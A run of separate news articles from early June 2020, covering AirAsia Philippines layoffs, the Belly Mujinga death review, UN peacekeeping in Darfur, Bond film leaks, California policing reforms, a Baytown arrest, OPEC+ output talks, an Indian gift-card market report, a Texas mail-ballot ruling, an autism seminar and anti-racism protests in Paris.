"Despite all our efforts to curb the effects of the pandemic, AirAsia has made the difficult decision of reducing the company's workforce, but has done everything to keep the number of affected employees to a minimum, totaling 12 percent of all Filipino Allstars," the airline said in a statement.

With about 2,200 employees, more than 260 employees "across the board" will be affected by the layoffs, the airline said.

"For years, we have been able to carry out our vision of letting everyone fly with the help of our Allstars. AirAsia values each and everyone's contribution to the company and we thank them for their service," the airline added.

Indeed, the aviation industry has been hit hard by the COVID-19 global pandemic. "AirAsia Philippines is not an exception to this," the low-cost airline said.

The airline cited its cost management efforts to reduce losses brought by the pandemic such as the voluntary salary sacrifice, ranging from 100 percent at the very top to 15 percent, by the management and senior employees of AirAsia Group.

AirAsia Philippines, founded in 2010, is the latest Philippine carrier to downsize its workforce due to the pandemic. Philippine Airlines and Cebu Pacific Air have also laid off its employees.

The country's flag carrier Philippine Airlines, Cebu Pacific Air, including AirAsia, issued advisories on Monday that they are resuming domestic flight services following the government's move to ease quarantine restrictions to contain the spread of the COVID-19.

The lockdown imposed in mid-March restricted air, land and sea travel and suspended mass transportation in Metro Manila and many parts of the country after airports were shut down to avoid infection. Enditem
T he Crown Prosecution Service has been asked to review evidence into the coronavirus-related death of railway worker Belly Mujinga.

The British Transport Police said the case was not being reopened but that a request for evidence to be reviewed was "in recognition of wider public interest".

Ms Mujinga died in April, a few weeks after an incident at Londons Victoria station, leaving a widower and an 11-year-old daughter.

British Transport Police (BTP) interviewed a 57-year-old man but said the incident - widely reported as the man allegedly spitting at Ms Mujinga - did not lead to the workers death and decided not to refer the case to the Crown Prosecution Service.

In a new statement on Friday, BTP said it had invited the CPS to conduct an independent review of the available evidence, and whether there were any further lines of inquiry.

BTP said it understood the depth of feeling over the case and that there were further questions over how it was decided there was insufficient proof of a crime to justify a prosecution.

We can assure the public that we have comprehensively reviewed all the available evidence and have not identified any offences or behaviour that meets the threshold for prosecution, said the statement.

Ticket officer worker Belly Mujinga, 47, died after contracting coronavirus / PA

It comes after the number of people who have signed a change.org petition launched in support of Ms Mujinga, passed the one million mark on Friday  two months to the day since the ticket officer died.

The petition seeks justice for the family of Ms Mujinga, whose trade union the Transport Salaried Staffs Association (TSSA) has received messages of support from across the UK and from countries including the US and Germany.

Ms Mujingas husband Lusamba Gode Katalay thanked those who have signed the petition, saying the family had been on a rollercoaster of emotions.

The public reaction to the case being closed took the family by surprise, he said, adding it had come amid anger over the killing of George Floyd in the US.

Ms Mujinga's devastated daughter Ingrid was unable to say goodbye to her / PA

Mr Floyd, a 46-year-old African American man died after a police knelt on his neck while he was restrained.

Mr Katalay said: On Wednesday, thousands of people protested in London to cry it loud that black lives matter. Black lives do matter. Bellys life mattered.

"It mattered to me, to our daughter, our friends and family, to Bellys colleagues, and now it matters to many thousands of you out there.

We were there, united in our anger and our grief. United in our determination to be heard and in our determination to get change. We want justice for Belly.

Thousands took to the streets in London to demonstrate against racial inequalities / PA

We want to know why she was sent out to work unprotected on the station concourse that day. We want to know why she was working when she had a respiratory condition.

And we want justice for the families of all transport and key workers  they should all be eligible for the Governments compensation scheme for NHS workers and carers who have sadly died from the virus.

BTP said senior detectives were confident that the Victoria incident did not lead to Ms Mujinga contracting Covid-19, adding that the man in CCTV footage who they interviewed as part of the investigation had a negative antibody test, showing that he had never had the illness.

Police said detectives were satisfied the incident did not lead to Ms Mujingas death.

Southern Railway has said it is doing all it can to protect its staff.

Our hearts go out to Bellys family who we continue to offer our deepest sympathies to," said Angie Doll, managing director of Southern Railway and Gatwick Express.

While the conclusion of the British Transport Police investigation found no evidence of spitting, any loss of one of our dedicated colleagues from coronavirus is one too many.

Our absolute focus remains on keeping all of our colleagues safe, and we continue to follow all Government health advice to protect them. We thank our key workers for their commitment at this incredibly challenging time for our country.
Displaced Sudanese queue to receive humanitarian aid supplies at the Kalma camp for internally displaced people in Darfur's state capital Niyala on Oct. 9, 2019. (Ashraf Shazly/AFP via Getty Images)

UN Moves Toward Ending UN-AU Peacekeeping in Sudans Darfur

UNITED NATIONSThe U.N. Security Council voted unanimously to move toward ending the joint U.N.-African Union peacekeeping force in Sudans vast western Darfur region and replacing it with a civilian mission focusing on the countrys democratic transition.

The council didnt set a date for the end of the mission, known as the United NationsAfrican Union Mission in Darfur (UNAMID), in the two related resolutions that were approved in writing on the night of June 3 under new rules initiated because of the COVID-19 pandemic and formally adopted at a Security Council meeting in the morning of June 4.

The resolution, adopted by a vote of 150 extends the current 6,500-strong mission for six months until Dec. 31, 2020. It says the council will decide by then on the responsible draw-down and exit of UNAMID, taking into account a special report from U.N. Secretary-General Antonio Guterres and the chair of the African Union Commission.

That report, which is due by Oct. 31, should assess the situation on the ground and include the impact of Sudans peace process on the security situation in Darfur and the capacity of the Sudanese government to protect civilians, which is UNAMIDs primary mandate, the resolution says.

The other resolution, also adopted by a 150 vote, establishes a new political mission, the United Nations Integrated Transition Assistance Mission in Sudan to be known as UNITAMS, for an initial period of one year. It has the mandate to assist the country in its political transition toward democratic governance and in protecting and promoting human rights and sustainable peace.

It says UNITAMS should also assist the government in peace-building, civilian protection, and rule of law, in particular in Darfur, provide technical assistance in drafting a constitution, and support peace negotiations and implementation of any peace agreements if asked.

The Security Council asked Guterres to swiftly establish UNITAMS, with a view to reaching its full operational capacity as soon as possible so it can start delivering on its mandates no later than Jan. 1, 2021.

The Darfur conflict began in 2003 when ethnic Africans rebelled, accusing the Arab-dominated Sudanese government of discrimination. The government in Khartoum was accused of retaliating by arming local nomadic Arab tribes and unleashing them on civilian populationsa charge it denies.

In recent years, as the result of a successful government military campaign, the rebellion has been reduced to a rebel Sudan Liberation Army faction headed by Abdul Wahid Elnur in Jebel Marra.

In July 2018, the Security Council voted to dramatically cut the UNAMID force in response to reduced fighting and improved security conditions. The target then was to end the mission on June 30, 2020.

The Darfur conflict took place under the three-decade autocratic rule of former president Omar al-Bashir, during which Sudan was convulsed by bloody civil war and rebellions, not only in Darfur but in the Blue Nile and South Kordofan states. Al-Bashirs rule ended in April 2019 when the military ousted him after mass street protests by a pro-democracy movement that began in late 2018.

A power-sharing agreement signed in August 2019 between the military and protesters created a joint civilian-military ruling sovereign council, but the civilians are struggling to assert authority in the face of the militarys power.

In October 2019, the Security Council voted unanimously to keep UNAMID in Darfur for another year in hopes the new civilian-led transitional government can restore peace.

It faces towering challenges, including the dire economic conditions that fueled the protests. Sudans economy has been battered by civil wars and international sanctions. Prime Minister Abdalla Hamdok has said achieving peace with armed groups is also crucial for the government as it would allow a reduction in military spending, which takes up to 80 percent of the budget.

The UNAMID resolution recognizes improvements in security conditions, while expressing concern that the security situation in some regions of Darfur remains precarious. It underscores the need to protect peace-building gains in Darfur and avoid a relapse into conflict.

The resolution underscores that withdrawal of UNAMID should take into account the progress made in the peace process, and supports the African Union Peace and Security Councils call for extreme caution in the withdrawal of UNAMID.

The UNAMID force was established in 2007, the first joint U.N.-AU peacekeeping operation. UNITAMS is a U.N.-only political mission, but the resolution underlines the importance of the partnership between the United Nations and the African Union in Sudan.

The UNAMID resolution recognizes the impact of the pandemic on its draw-down, and the UNITAMS resolution expresses grave concern at its impact on Sudans health system and socioeconomic and humanitarian situation.

By Edith M. Lederer
Call-sheets from the Italy shoot of the upcoming James Bond film, No Time to Die, have been put up for sale on eBay, according to Bond fan website MI6 HQ. The call-sheets reveal crucial details about the film, which was pushed from April to November.

The leaks reveal information about several characters, including Billy Magnussens CIA agent, Lashana Lynchs 00 agent, and the villain, Safin. But the biggest surprises possibly come in some of films final scenes. The scenes placement in the story can be identified by the numbers attached to them. MI6 HQ says that while Spectres final scene was numbered 203, No Time to Die leaks confirm that scenes numbered in the 240s and 250s also exist. This corroborates the fact that at two hours and forty-three minutes long, the film is the longest Bond movie to star Daniel Craig.

No Time to Die will reportedly have an epilogue, but it wont feature Craigs Bond. Instead, a five-year old girl named Mathilde is mentioned in several scenes. Scene 235 is labelled: Nomi pilots Madeleine and Mathilde to safety with island in the background. Scene 253 reads: Madeleine is going to tell Mathilde a story, they drive into a tunnel.

Early reports, according to Express.co.uk, suggest that the films plot could deal with genetic warfare and cloning. Mathilde could therefore be a clone of Dr Madeleine Swann, played by Lea Seydoux, created by the villain Safin, played by Rami Malek.

The trailers for the film have already suggested that Madeleine and Safin are connected somehow, and reports have suggested that Safin saves a young Madeleine from drowning in a frozen lake as a child, giving rise to his obsession with her. No Time to Die is set five years after the events of Spectre, according to actor Naomie Harris, which could also suggest that Bond and Madeleine have a daughter.

The scenes with Madeleine and Mathilde were reportedly shot in September 2019 in Italy, on an island that the leaks suggest is Safins lair.

Also read: James Bond plot details rumoured to have been leaked; Daniel Craigs 007 to get married?

Other details mentioned in the leaks reveal that Billy Magnussens character will be involved in a third-act confrontation with Bond, a sequence involving Bond and Madeleine swimming was shot in Puglia, on IMAX, and that Contagion writer Scott Z Burns contributed to some scenes, but will not be credited on the final film.

Follow @htshowbiz for more

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SACRAMENTO  Gov. Gavin Newsom called for California to adopt new law enforcement standards for crowd control and use of force at protests, following a week of nationwide demonstrations against police violence during which officers have sometimes brutally subdued and arrested demonstrators.

At a news conference Friday, Newsom also said he would support legislation to ban the use of the carotid hold, in which an officer applies pressure to the sides of a persons neck to cut off blood flow and quickly knock them unconscious. The governor said he would immediately direct that the practice be removed from state police training programs.

George Floyd, a black man in Minneapolis, was killed last week when a white police officer knelt on his neck for nearly nine minutes, setting off a national outcry. The officer, Derek Chauvin, has been charged with second-degree murder, and three other officers face lesser charges.

We train techniques on strangleholds that put peoples lives at risks, Newsom said. A carotid hold that literally is designed to stop peoples blood from flowing into their brain, that has no place any longer in 21st century practices and policing.

The Floyd killing touched off mass protests in cities around the nation, including across the Bay Area. As curfews were instituted in response to vandalism at some actions, protesters complained that largely peaceful demonstrations were met with excessive force.

Clips of confrontations between police officers and protesters across the country have gone viral on social media. Newsom cited an incident in San Diego County in which a 59-year-old woman was hospitalized after being shot in the face by officers with a beanbag round.

The governor said he would work with the Legislature, activists, law enforcement officers and journalists to create the new standards for policing protests, which now vary among local departments.

He compared the effort to a law adopted last year that tightened the rules for when California officers can use deadly force against a suspect. Newsom signed that law at the California Museum in Sacramento, where he held his news conference Friday.

Protesters have the right not to be harassed, he said. Protesters have the right to protest peacefully. Protesters have the right to do so without being arrested, gassed, being shot at by projectiles.

Among his advisers on the new standards will be Ron Davis, a former East Palo Alto police chief and director of the federal Office of Community Oriented Policing Services under President Barack Obama. Davis called on law enforcement to work with Newsom to make changes to their practices.

We have to start with the truth and understand that the systems the governors talking about are not broken, Davis said. They are in many cases operating as designed, and we need to have new ones.

Eric Nunez, president of the California Police Chiefs Association, said the group would work with Newsom, legislators and others to find comprehensive and effective solutions to the concerns that have been brought forward.

Newsom promised to sign a bill to ban the use of carotid holds introduced this week by Assemblyman Mike Gipson, a Los Angeles Democrat and former police officer.

The restraint tactic has long been controversial because of the potential danger to civilians. California law enforcement agencies reported 115 incidents between 2016 and 2018 in which a person was seriously injured or killed after an officer performed a carotid hold, according to use-of-force reports published by the state Department of Justice. The data did not specify how many of the incidents resulted in death.

The San Francisco Police Commission prohibited carotid holds in 2016. Other agencies, including the San Diego Police Department, banned the practice this week in the aftermath of Floyds death.

The announcements Newsom made were the first specific policy changes he has backed since the protests over the Floyd killing and broader racial justice issues began.

During a statewide listening tour this week to speak with members of the black community, the governor said the country has been paying lip service for generations to the concerns of African Americans without addressing the roots of those issues. But he largely avoided endorsing laws or steps that the state could take.

On Friday, he backed several proposals put forward by the California Legislative Black Caucus, including a bill by Assemblywoman Shirley Weber, D-San Diego, to create a task force that would study the feasibility of reparations for slavery.

Newsom also expressed support for ACA5, a constitutional amendment put forth by Weber to overturn Proposition 209, the 1996 voter-approved initiative that outlawed consideration of race and sex in public education, employment and contracting. The governor said he has long supported righting that wrong.

The affirmative action measure would go before voters, but proponents are facing a tight timeline to qualify it for the November ballot. Both houses of the Legislature must pass ACA5 by a two-thirds vote by June 25.

Alexei Koseff is a San Francisco Chronicle staff writer. Email: alexei.koseff@sfchronicle.com Twitter: @akoseff
A Baytown man whose arrest was captured Tuesday in a viral video will have one of his charges dropped, according to the Harris County district attorneys office.

Skylar Gilmore, 24, was charged with interfering with public duties after allegedly using profane language towards two police officers arresting one of his friends at a Baytown convenience store. Gilmores arrest was recorded by a friend and emerged Wednesday on social media.

In the video, Baytown Officer Nathaniel Brown can be seen crossing the parking lot to the store's front and approaching Gilmore, who is on the phone. Brown then throws Gilmore on the ground, ripping his shirt off, and kneeing him in the head.

Dane Schiller, a spokesman for the Harris County district attorneys office, said in a statement that the viral video is what led to prosecutors dropping the charge against Gilmore.

After reviewing video evidence in the matter, prosecutors quickly determined the charge was not warranted; there was no evidence (Gilmore) committed a crime, and there was no reason for him to continue to be burdened with the charge, Schiller said.

In a statement, the Baytown Police Department said the incident was referred by the police chief to its Internal Affairs Division to conduct a complete and thorough review of the incident.

Gilmore and Isaiah Phillips, 23, still face disorderly conduct charges in Baytown.

In a phone interview Thursday, Gilmore said he was pleased that Harris County dropped the charge and that he plans to fight the disorderly conduct charge as well. I dont feel vindicated about the whole situation, Gilmore added.

The incident happened Tuesday evening in the parking lot of the Baytown Market Convenience Store in the 2900 block of Market Street. Officers pulled over Jostin Moore, 23, for unspecified traffic violations and an outstanding warrant from Deer Park.

Gilmore and Phillips, were in a car following Moore when he was stopped. They pulled over in the stores parking lot while the officers searched Moores car.

During the course of Moores arrest, Baytwon police officials said Gilmore and Phillips began using profanities from a distance.

A second officer confronts Phillips, who was also in front of the store. After Brown handcuffs Gilmore, he approaches Phillips and slams his head on the hood of Gilmores truck, eventually arresting him.

They told me to calm down, my friend told me to calm down and step back, so I stepped back by Skylars truck, Phillips recounted in a phone interview Wednesday. Officer Brown came up to me with handcuffs and he slammed me onto Skylars vehicile and left a dent.

In a phone interview Wednesday, Gilmore said the officers misunderstood him by confusing his conversation with his friend on the phone as being directed towards them.

I guess the police thought I was being vulgar towards them and they came to arrest me, Gilmore said. I pulled away just a little bit but when I realized what was going on I put both of my hands down, and thats when Officer Brown proceeded to throw me into the wall.

Gilmore said he believes Brown approached him because he overheard him talking to his friend, Dajone Mitchell, on the phone that Brown was the subject of a previous complaint. In January 2019, Ralpheal White filed a complaint with the Baytown Police Department after his encounter with Brown and a police K-9 in January 2019 landed him in the hospital.

In the wake of the Tuesday incident, Gilmore and Phillips said they planned to file formal complaints with the police department and were also looking into hiring a lawyer and possibly filing a lawsuit against the department.

Samantha Ketterer contributed to this report.

nick.powell@chron.com
Oil-exporting nations are set to meet on June 6-7 to discuss extending output cuts to buffer COVID-19s hit on demand.

The Organization of the Petroleum Exporting Countries (OPEC) and allies led by Russia, a group known as OPEC+, is debating holding ministerial talks this weekend to discuss a possible extension of existing oil cuts.

An OPEC+ ministerial meeting is tentatively planned for June 6 to 7 after Iraq and other non-complying countries pledged better conformity with oil cuts, an OPEC+ source said on Thursday.

Oil prices were little changed early in the day in choppy trade as investors awaited a decision from top crude producers on whether to extend record output cuts. Global benchmark Brent crude futures ended the session 20 cents, or 0.5 percent higher, at $39.99 a barrel after a volatile session. United States West Texas Intermediate (WTI) crude futures rose 12 cents to $37.41.

Saudi Arabia and Russia, two of the worlds biggest oil producers, want to extend cuts of 9.7 million barrels per day (bpd) that major producers agreed to in April. But a suggestion by OPEC president Algeria to meet on Thursday was delayed amid talks about poor compliance by some producers.

It was said that Saudi Arabia, Kuwait and the United Arab Emirates are not planning to extend voluntary additional output cuts of 1.18 million bpd after June, indicating that crude supply could rise next month regardless of any OPEC+ decision.

OPEC appears damned if they do and damned if they dont with regard to extended near term production reductions, said Jim Ritterbusch, president of Ritterbusch and Associates.

Any decision to forgo any extension of current cuts would easily unleash a near-term selling spree while an agreement to extend cuts beyond next month would have longer-term bearish implications as upward adjustments to third-quarter shale production forecasts would likely be required.

Concerns about a resurgence of US shale production, which is already showing signs of revival, was one reason Moscow and Russia only backed prolonging cuts into July rather than agreeing a longer extension, sources briefed on OPEC+ talks have said.

Meanwhile, US government data on Wednesday showed large increases in fuel inventories as demand remains impaired due to the coronavirus pandemic.

Large oil inventory builds across the US, Europe and Japan last week are weighing on oil prices, said UBS analyst Giovanni Staunovo.

Also the uncertainty if OPEC+ solves the impasse with countries with a weak compliance level is not helping.

Striking a bullish note, however, Russias Energy Minister said the oil market in July could face a shortage of 3 to 5 million bpd, Interfax news agency reported.
[June 05, 2020] Impact of COVID-19 on India's Gift and Incentive Card Market - Q2, 2020 Update - ResearchAndMarkets.com

The "India Gift Card and Incentive Card Market Intelligence and Future Growth Dynamics (Databook) - Market Size and Forecast (2015-2024) - COVID-19 Update Q2 2020" report has been added to ResearchAndMarkets.com's offering. This report provides a detailed data centric analysis of gift cards and corporate incentive cards market along with consumer behaviour and retail spend dynamics in India. With over 200 KPIs at country level, this report provides comprehensive understanding of gift and incentive card market dynamics. The report includes raw data along with structured dashboards, charts, and tables in an interactive Excel format. Market and COVID-19 Related Insights In India, the gift card market has recorded one strong growth in recent years, outperforming other comparable countries. With over 245 million gift cards sold in 2019, the gift card industry has attracted interest from start-ups, private equity players, and mobile payment companies as well. According to the Global Gift Card Q2 2020 Survey, gift card is gradually becoming a core component of growth strategy for players across the value chain in India. India has faced one of the most stringent lockdowns globally. Growth of gift card industry is expected to be impacted in 2020 due to socio-economic environment created by COVID-19 outbreak, leading to fewer celebrations. However, the pandemic has positively impacted growth of ecommerce industry, a trend which will be sustained in coming quarters as lockdown relaxations increase. Consequently, this is expected to drive demand for gift cards, especially digital gift cards (e-gift cards). In value terms, the gift card market in India has recorded a CAGR of 25.5% during 2015-2019. The gift card industry in India will continue to grow over the forecast period and is expected to record a CAGR of 19.8% during 2020-2024. Gift card market in the country will increase from US$ 4,632.6 million in 2019 to reach US$ 9,340.6 million by 2024. Qwikcilver, who is the leading gift card issuer in the country, has over 75% market share in the gift card segment. Majority of Indians prefer physical cards over digital gift cards (e-gif cards). However, the adoption of digital gift card (e-gift card) has been increasing, driven by adoption in self-use segment in retail and in consumer incentives in corporate segment.



Another factor that is driving the growth of the digital gift card market is the rising e-commerce industry in the country. High smartphone penetration rate in India has also played a significant role in getting customers to make use of digital gift cards. With a large population base and several gifting occasions, the growth potential for the gift card market is humongous in India. The gift card adoption has been increasing in Tier 2 and Tier 3 (News - Alert) cities though it is still dominated by Tier 1 cities.

Apart from this, the wide acceptance of corporate gift cards in the form of rewards and sales incentives to recognize employee performance is further boosting the market growth in India. Below is a summary of country level trend analyses covered across gift card segments: Total gift market: This report provides detailed view of overall spend on gifts, broken down by retail and consumer segments. For both retail and consumer segments, this report provides a breakdown of spend on gifts by product categories (13 segments) and retail sectors (7 segments).

Gift cards: Drawing from proprietary survey results, this report provides in-depth analysis of opportunities in both open loop and closed loop prepaid gift card categories. Assesses consumer behaviour by type of consumer (retail and corporate - SMB, Mid-Tier, Large Enterprise), gifting occasion, digital gift card (e-gift card), and market share by retail sectors.

Details six essential KPIs: number of cards in circulation, load value, unused value, average purchase value, average value per transaction, and value of transactions.

Corporate incentive & loyalty cards: This report provides detailed market dynamics of corporate incentive cards, broadly segmented in three categories - consumer incentive card, employee incentive card, and sales/partner incentive card. It details market size and forecast at category level, by functional attribute (open loop and closed loop), and by corporate consumer segments (small scale business, mid-size business, and enterprise business).

Digital gift card (e-gift card) analysis: Provides market size and forecast for digital gift cards, broken down by retail and corporate buyers. It also includes gift card spend by occasion (retail - festivals & special celebration days, milestone celebration, self-use, other; Corporate incentive cards -consumer incentive card, employee incentive card, and sales/partner incentive card). The report also includes digital gift card adoption by company size.

Open loop and closed loop: Provides market estimates and forecasts to assess opportunities in open loop and closed loop gift and incentive card segments across consumer segments.

Consumer attitude and behaviour: Drawing from proprietary survey results, this report identifies and interprets key KPIs related to gift card dynamics including spend by age, gender, and income level.

Retail spend: Breaks down retail spend across retail sectors (7 segments) to provide detailed insights on consumer behaviour and changing dynamics of gift card spend.

Market share by retailer: Provides market share of closed loop gift cards by key retailers in India.

Distribution channel analysis: Provides market share by distribution channel - online vs offline sales and 1st party vs 3rd party sales (sales through outlet of other retailers). Companies Mentioned Flipkart Online Services Pvt. Ltd.

Jasper Infotech Pvt. Ltd.

Tata Group

Future Group

Reliance Group

Amazon.com Inc.

Godrej Group

Aditya Birla Group

Dell (News - Alert) Inc.

K Raheja Corp

ITC Group

Landmark Group

adidas Group

Benetton Group S.p.A.

Vijay Sales Ltd.

LG Corp.

Tribhovandas Bhimji Zaveri Delhi Pvt. Ltd. For more information about this report visit https://www.researchandmarkets.com/r/z4gh0e View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005331/en/

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BRANFORD  The town is mourning the death Thursday of Selectman Joseph Higgins Jr., a former Fire Department of New York official during 9/11 who later retired to Branford and had served on the Board of Selectmen for the past 61/2 years.

It is with tremendous sadness that we announce the passing of Selectman Joseph Higgins Jr., First Selectman Jamie Cosgrove said in a press release, which also was posted on the towns Facebook page. Higgins was an incredible man that dedicated his entire life to public service, the release said.
A federal appeals panel Thursday rejected a lower-court decision to allow any Texas voter afraid of contracting the coronavirus to cast a mail-in ballot, a case with far-reaching implications for this year's election that could end up at the Supreme Court.

A three-judge panel of the U.S. Court of Appeals for the 5th Circuit ruled that it was up to the state, not the courts, to determine how to administer voting during a pandemic.

The Texas Democratic Party, which filed the lawsuit, argued that the state's current rules are discriminatory because they allow absentee voting only among voters who are out of state, have a disability or are over age 65. The suit argued that fear of contracting coronavirus should also be a reason to cast a mail-in ballot.

U.S. District Judge Fred Biery agreed last month, issuing a preliminary injunction allowing all Texans to seek a mail ballot if they fear getting sick. But Texas Gov. Greg Abbott, a Republican, Attorney General Ken Paxton, a Republican, and Secretary of State Ruth Hughs, an Abbott appointee, immediately appealed.

In its opinion, the appeals panel noted that Abbott has taken steps to protect the health and safety of voters as a result of the pandemic. He postponed the state's primary runoff elections to July 14, doubled the period for in-person early voting and ordered election officials to mandate further precautions at the polls such as social distancing.

The panel also sharply rebuked Biery for interfering with the state's authority, admonishing him for "resolv[ing] to take matters into his own hands."

Judge Jerry Smith, an appointee of Ronald Reagan, wrote the 5th Circuit's opinion. The other two judges on the panel were James Ho, an appointee of President Donald Trump, and Gregg Costa, a Barack Obama appointee.

Paxton celebrated the decision, claiming that "allowing universal mail-in ballots, which are particularly vulnerable to fraud, would only lead to greater election fraud and disenfranchise lawful voters."

The attorney general also said that mail-in balloting is allowed in Texas only "to aid those with an actual disability or illness." He did not explain why he supports the law's inclusion of all Texans age 65 and older.

In blocking the lower court's preliminary injunction against the state's mail-balloting rules, the panel gave the Texas Democratic Party several choices: to further appeal to the entire 5th Circuit, to appeal to the Supreme Court, or to focus on the original case as it proceeds through the trial court.

Gilberto Hinojosa, chairman of the Texas Democratic Party, said the party is likely to appeal directly to the Supreme Court rather than to the entire 5th Circuit.

While disappointed with the panel's decision, Hinojosa said the issue has galvanized voters who want to vote by mail this year in a way that is likely to benefit Democrats at the polls in November. A new Quinnipiac poll showed that President Trump is in a tight race against former vice president Joe Biden in the state, and that six out of 10 voters support letting all voters cast ballots by mail during the pandemic.

Hinojosa said that political dynamic could spill over into the races of four conservative state Supreme Court justices, especially after the state's high court ruled against mail ballot expansion in a separate lawsuit.

"I think the voters are not going to be very happy when they find out the four Republicans running didn't care about whether voters had to choose between their health or voting - and that they made their decision after conducting oral arguments via Zoom, because they didn't want to be exposed themselves," Hinojosa said.

The U.S. Supreme Court has already weighed in on voting practices related to this year's elections in a case out of Wisconsin, where state and national Republicans sued Gov. Tony Evers, a Democrat, to block him from allowing mailed ballots to be received after election day.

By a 5-4 majority, the justices agreed with Republicans that allowing ballots to be completed after election day was improper, but they also allowed for ballots to be received as late as six days after election day so long as they were postmarked by then - a decision that Democrats declared to be a major victory.

There is little evidence of widespread ballot fraud in the U.S., and the incidence of such fraud is vanishingly rare in states that conduct virtually all-mail elections, including Colorado, Oregon and Washington. Officials in those states say fraud is easy to police when proper protections are put in place including bar-coded envelopes, regular voter list maintenance and consistently applied signature-matching policies.
Dr Eddie Murphy will host an online seminar on Self-Care & Wellbeing for parents and carers in the autism community on Wednesday, June 10.

The seminar is part of AsIAms online seminar series and is sponsored by SuperValu, the ongoing series offers support and useful information to the Autism community.

Topics are driven by the community and delivered by autism experts focusing on the changes that have arisen as a result of Covid-19.

The latest seminar will be hosted by renowned clinical psychologist Dr Eddie Murphy and is focused towards parents and carers of children with additional needs.

The Self-Care & Wellbeing Workshop will focus on self-care, wellbeing, adopting to new environments and minding your mental health. The workshop will also provide practical tips and resources for parents and carers in the ongoing Covid-19 crisis.

Questions on these topics for Dr Eddie Murphy can be submitted to info@asiam.ie by June 8 at 8pm, a selection will be answered during the seminar which will be available on both the AsIAm website and on AsIAm & SuperValus Facebook pages from June 10 at 7pm.

Dr Eddie Murphy is a Clinical Psychologist and Adjunct Associate Professor in UCD School of Psychology. He regularly contributes to TV and radio in areas of Psychology including RTEs popular TV programme Operation Transformation. His passion and enthusiasm about wellbeing is anchored in evidenced based psychology and he is the author of the best-selling book Becoming Your Real Self- A Practical Toolkit to Manage Everyday Problems.

Commenting on this Adam Harris, CEO of AsIAm said AsIAm delivers Community Support Seminars across Ireland with the kind support of SuperValu. These seminars previously happened in different communities each month but are now available online. The online seminars focus on issues our community will find challenging arising from changes related to Covid-19.

We are delighted to have renowned clinical psychologist Dr Eddie Murphy join us to help parents and carers during this challenging time. His practical approach is solution focused and along with answering questions from parents and carers he will provide tips and resources to help with self-care and wellbeing over the coming months during this seminar.

Martin Kelleher, SuperValu Managing Director said, As sponsors of the community support seminars we are delighted these seminars are now online to support the autism community. Now more than ever we need to continue to support the autism community.

SuperValu is committed to raising understanding and awareness of autism among its customers and staff. With over 50,000 families in Ireland living with autism, those affected face barriers to inclusion because of the attitudes of people who may not have first-hand experience of autism.
At least 20,000 people demonstrated on Tuesday night in Paris, defying a police prefecture ban, as protests spread across Europe against Trumps unconstitutional threat to mobilize the military against US protests over the police murder of George Floyd.

On Monday, thousands of people demonstrated in London, Berlin, Munich, Dublin and Bordeaux. On Tuesday, it was the turn of more cities in France and the Netherlands. Hundreds or thousands demonstrated in The Hague, Groningen, and in France, in Lille, Marseille and Lyon.

The demonstration in Paris was called by the committee for Adama Traore, a French youth of African origin who was killed, like George Floyd, after he was beaten and asphyxiated to death during a police stop. An expert report prepared at the request of his family in 2016 in Beaumont-sur-Oise stated that the cause of death was blows to the chest.

Demonstrations against the murder of George Floyd in Paris, France (Twitter/@KenzaHadjMoussa)

Yesterday, 5,000 people marched in Montpellier in homage to Traore and Floyd, and several hundred demonstrated in Toulouse at a Toulouse-Minneapolis-Beaumont rally.

Since Traores murder, which police covered up with a series of contradictory claims, the Adama Traore Committee has organized numerous demonstrations in Paris, defying police threats. Now that protests against police violence are shaking America, and Trump is openly threatening to illegally suppress them by force, their latest appeal met with overwhelming support.

Tens of thousands of people (20,000 according to the police) of various ethnic or racial backgrounds mobilized, quickly spilling over from the square in front of the Paris court where the demonstration organized. The demonstrators defied a ban by the police prefect, Didier Lallement, whose brutality and personal hostility towards the yellow vests is well known. Lallement had declared that the tone of the call to protest, shared on social media, gave rise to fears that excesses may occur in a sensitive location.

Assa Traore, Adamas elder sister and spokesperson for the Adama Traore Committee, addressed the crowd: This is to express our revolt. Today it is no longer the fight of the Traore family. It is the fight of all of you! We are fighting for George Floyd who is in the United States and who is our brother.

She added, All of you who are here today, you have made history. You will be able to say that you have participated in an overthrow... This is just the beginning!

Highlighting the historical and international significance of the uprising of young people and workers of all origins in the United States, she said, Whats happening in the United States highlights what is happening today in France.

She went on to mention several victims of police violence in France over the past decade: Today, when we fight for George Floyd, we fight for Adama, we fight for Ibrahima Bah [killed 2019], we fight for Gaye Camara [killed 2018], we fight for Babacar Gueye [killed 2015], we fight for Angelo Garand [killed 2017]; the list is too long.

Referring to the impact in France and Europe of the eruption of social struggles in the US, she said: Today the police act with total impunity. We have a police force that considers itself a mafia in France. They do what they want. But there is no impunity. Today there is a new balance of power being established.

Reprising the methods used against the yellow jackets, the police, deployed in large numbers, fired tear gas and attacked the peaceful demonstrators. They blocked the Paris ring road at Porte de Clichy, near the Paris court, and clashes and burning of rubbish bins broke out in the surrounding area. There were 18 arrests. In the course of the evening, Television France reported that the police had regained control of the Paris courthouse district, but the situation nevertheless remains tense.

In Lyon, 2,000 people demonstrated in front of the courthouse. As police fired tear gas at them to prevent them from entering Old Lyon, they chanted George Floyds last words: I cant breathe!

In Marseille, 500 people demonstrated with the slogans Police murderers and We dont forget Zineb, we dont forgive, evoking the death of 80-year-old Zineb Redouane, who was hit in the face by a police tear gas grenade in her home, on the outskirts of a yellow vest protest.

A yellow vest protester who spoke to the World Socialist Web Site in response to Trumps coup detat said: Were in a very dangerous situation everywhere. There are dangerous people in the US military... We are always in solidarity with the struggle against social and racial injustice. Its a shame were so far away!

She emphasized the international significance of Trumps suspension of constitutional and democratic rights. This suspension is not just in the United States, its all over the world. In almost every country where there is a constitution, it is being flouted. This is not a new development, but it is becoming more and more flagrant.

The mass movement among American youth and workers, and Trumps reaction in launching a coup detat in defiance of the American constitution, has cut the ground from under the feet of the political establishment. Anger against austerity, social inequality and police violence has already exploded in numerous strikes and struggles in France and across Europe. Trumps illegal campaign exposes the fact that all the ruling classes are moving towards a military-police dictatorship to impose the dictats of the capitalist elite on a working class in revolt.

The political establishment built up the police forces to use against yellow vests protests. As was demonstrated by Macrons declaration that the head of the Vichy regime, Marshall Petain, was a great soldier, the French ruling class is in line with Trumps strategy of mass repression.

In response to the protests, Interior Minister Christophe Castaner hysterically denounced unjustifiable excesses and declared that public street rallies are forbidden.

